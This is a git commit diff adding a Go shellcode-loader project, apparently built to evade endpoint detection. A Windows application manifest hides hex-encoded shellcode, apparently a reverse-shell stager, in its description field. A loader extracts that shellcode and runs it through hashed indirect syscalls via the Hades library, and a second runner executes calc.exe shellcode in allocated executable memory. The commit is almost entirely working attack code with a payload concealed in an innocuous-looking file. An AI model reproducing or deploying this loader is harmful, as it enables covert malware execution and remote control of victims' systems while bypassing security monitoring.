Add files via upload

2026-06-06 15:14:32 +00:00 · 2024-11-13 15:46:09 +01:00
parent 726a5bb50b
commit 704e90ffd3
7 changed files with 276 additions and 0 deletions
@@ -0,0 +1,9 @@
+module edr
+
+go 1.23.0
+
+require (
+	github.com/ASP4RUX/Hades v0.0.0-20241113125813-edbe0fc0cc2e // indirect
+	github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a // indirect
+	golang.org/x/sys v0.27.0 // indirect
+)
@@ -0,0 +1,6 @@
+github.com/ASP4RUX/Hades v0.0.0-20241113125813-edbe0fc0cc2e h1:0cUKEcvhH8EaxmHmEXW4IE+cbJSYb6BLyoyUCBHMrMo=
+github.com/ASP4RUX/Hades v0.0.0-20241113125813-edbe0fc0cc2e/go.mod h1:I3FkLCAfQ63hSvxW0QkUEeHwnqK3zHzCuKP/wpB0qOs=
+github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
+github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
+golang.org/x/sys v0.27.0 h1:wBqf8DvsY9Y/2P8gAfPDEYNuS30J4lPHJxXSb/nJZ+s=
+golang.org/x/sys v0.27.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
@@ -0,0 +1,28 @@
+package main
+
+import (
+	"crypto/sha1"
+	"encoding/hex"
+	"fmt"
+	"os"
+)
+
+func main() {
+	if len(os.Args) == 1 {
+		println("Uso ./hash.exe ApiName")
+		os.Exit(1)
+	}
+
+	fmt.Println(hash(os.Args[1]))
+}
+
+func hash(f string) string {
+	s := []byte(f)
+	key := []byte{0xde, 0xad, 0xbe, 0xef}
+	for i := 0; i < len(s); i++ {
+		s[i] ^= key[i%len(key)]
+	}
+	sha := sha1.New()
+	sha.Write(s)
+	return hex.EncodeToString(sha.Sum(nil))[:16]
+}
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
+<assemblyIdentity
+    version="9.0.0.0"
+    processorArchitecture="*"
+    name="app.exe"
+    type="win32"
+/>
+<description>#!fc4883e4f0e8cc00000041514150524831d265488b526051488b521856488b5220480fb74a4a488b72504d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b020f85720000008b80880000004885c074674801d08b4818448b4020504901d0e3564d31c948ffc9418b34884801d64831c041c1c90dac4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94bffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc0200115c7f00000141544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd56a0a415e50504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd585c0740a49ffce75e5e8930000004883ec104889e24d31c96a0441584889f941ba02d9c85fffd583f8007e554883c4205e89f66a404159680010000041584889f24831c941ba58a453e5ffd54889c34989c74d31c94989f04889da4889f941ba02d9c85fffd583f8007d2858415759680040000041586a005a41ba0b2f0f30ffd5575941ba756e4d61ffd549ffcee93cffffff4801c34829c64885f675b441ffe7586a0059bbe01d2a0a4189daffd5$!</description>
+<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
+    <security>
+        <requestedPrivileges>
+            <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
+        </requestedPrivileges>
+    </security>
+</trustInfo>
+</assembly> 
@@ -0,0 +1,53 @@
+package main
+
+import (
+	"syscall"
+	"unsafe"
+)
+
+const (
+	MEM_COMMIT             = 0x1000
+	MEM_RESERVE            = 0x2000
+	PAGE_EXECUTE_READWRITE = 0x40
+	PROCESS_CREATE_THREAD  = 0x0002
+)
+
+var (
+	kernel32            = syscall.MustLoadDLL("kernel32.dll")
+	VirtualAlloc        = kernel32.MustFindProc("VirtualAlloc")
+	CreateThread        = kernel32.MustFindProc("CreateThread")
+	WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
+)
+
+var plaintext = []byte{
+	//calc.exe https://github.com/peterferrie/win-exec-calc-shellcode
+	0x31, 0xc0, 0x50, 0x68, 0x63, 0x61, 0x6c, 0x63,
+	0x54, 0x59, 0x50, 0x40, 0x92, 0x74, 0x15, 0x51,
+	0x64, 0x8b, 0x72, 0x2f, 0x8b, 0x76, 0x0c, 0x8b,
+	0x76, 0x0c, 0xad, 0x8b, 0x30, 0x8b, 0x7e, 0x18,
+	0xb2, 0x50, 0xeb, 0x1a, 0xb2, 0x60, 0x48, 0x29,
+	0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76,
+	0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48,
+	0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57,
+	0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f,
+	0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24,
+	0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad,
+	0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75,
+	0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe,
+	0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff,
+	0xd7,
+}
+
+func main() {
+	Addr, _, _ := VirtualAlloc.Call(0, uintptr(len(plaintext)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
+
+	AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr))
+
+	for i := 0; i < len(plaintext); i++ {
+		AddrPtr[i] = plaintext[i]
+	}
+
+	ThreadAddr, _, _ := CreateThread.Call(0, 0, Addr, 0, 0, 0)
+
+	WaitForSingleObject.Call(ThreadAddr, 0xFFFFFFFF)
+}
@@ -0,0 +1,163 @@
+package main
+
+import (
+	"crypto/sha1"
+	"encoding/hex"
+	"strings"
+	"unsafe"
+
+	hades "github.com/ASP4RUX/Hades/pkg/Hades"
+	"golang.org/x/sys/windows"
+)
+
+var (
+	kernel32      = hades.NewLazyDLL("kernel32")
+	FindResourceW = kernel32.NewProc("FindResourceW")
+	LoadResourceF = kernel32.NewProc("LoadResource")
+)
+
+func MAKEINTRESOURCE(id uintptr) *uint16 {
+	return (*uint16)(unsafe.Pointer(id))
+}
+
+func LoadResource(Module, ResInfo uintptr) uintptr {
+	ret, err := LoadResourceF.Call(
+		Module,
+		ResInfo,
+	)
+	if err != nil {
+		panic(err)
+	}
+
+	return ret
+}
+
+func FindResource(Module uintptr, Name, Type *uint16) uintptr {
+	ret, err := FindResourceW.Call(
+		Module,
+		uintptr(unsafe.Pointer(Name)),
+		uintptr(unsafe.Pointer(Type)))
+	if err != nil {
+		panic(err)
+	}
+
+	return ret
+}
+
+func ReturnShellcode() []byte {
+	Resource := FindResource(0, MAKEINTRESOURCE(1), MAKEINTRESOURCE(24))
+	DataResource := LoadResource(0, Resource)
+	str := windows.BytePtrToString((*byte)(unsafe.Pointer(DataResource)))
+	init := strings.Index(str, "#!")
+	final := strings.Index(str, "$!")
+
+	strFinal := str[init+2 : final]
+	shellcode, err := hex.DecodeString(strFinal)
+	if err != nil {
+		panic(err)
+	}
+
+	return shellcode
+}
+
+func hash(f string) string {
+	s := []byte(f)
+	key := []byte{0xde, 0xad, 0xbe, 0xef}
+	for i := 0; i < len(s); i++ {
+		s[i] ^= key[i%len(key)]
+	}
+	sha := sha1.New()
+	sha.Write(s)
+	return hex.EncodeToString(sha.Sum(nil))[:16]
+}
+
+const (
+	INFINITE               = 0xffffffff
+	Handle                 = 0xffffffffffffffff
+	MEM_COMMIT             = 0x00001000
+	MEM_RESERVE            = 0x00002000
+	PAGE_EXECUTE_READWRITE = 0x40
+	GENERIC_EXECUTE        = 0x20000000
+)
+
+func main() {
+	shellcode := ReturnShellcode()
+	newWhisper := hades.Whisper(hash)
+
+	NtAllocateVirtualMemory, err := newWhisper.GetSysid("1021ddc2cb8b096b")
+	if err != nil {
+		panic(err)
+	}
+
+	var BaseAddress uintptr
+	RegionSize := uintptr(len(shellcode))
+
+	err = NtAllocateVirtualMemory.Syscall(
+		Handle,
+		uintptr(unsafe.Pointer(&BaseAddress)),
+		0,
+		uintptr(unsafe.Pointer(&RegionSize)),
+		MEM_COMMIT|MEM_RESERVE,
+		PAGE_EXECUTE_READWRITE,
+	)
+	if err != nil {
+		panic(err)
+	}
+
+	NtWriteVirtualMemory, err := newWhisper.GetSysid("619eb9ad13d2bbd1")
+	if err != nil {
+		panic(err)
+	}
+
+	err = NtWriteVirtualMemory.Syscall(
+		Handle,
+		BaseAddress,
+		uintptr(unsafe.Pointer(&shellcode[0])),
+		uintptr(len(shellcode)),
+		0,
+	)
+
+	if err != nil {
+		panic(err)
+	}
+
+	var Thread uintptr
+	NtCreateThreadEx, err := newWhisper.GetSysid("2b72e62dd995115a")
+	if err != nil {
+		panic(err)
+	}
+
+	err = NtCreateThreadEx.Syscall(
+		uintptr(unsafe.Pointer(&Thread)),
+		GENERIC_EXECUTE,
+		0,
+		Handle,
+		BaseAddress,
+		0,
+		0,
+		0,
+		0,
+		0,
+		0,
+	)
+
+	if err != nil {
+		panic(err)
+	}
+
+	Time := -(INFINITE)
+	NtWaitForSingleObject, err := newWhisper.GetSysid("5107adda1d10ef6e")
+	if err != nil {
+		panic(err)
+	}
+
+	err = NtWaitForSingleObject.Syscall(
+		Thread,
+		0,
+		uintptr(unsafe.Pointer(&Time)),
+	)
+	if err != nil {
+		panic(err)
+	}
+
+}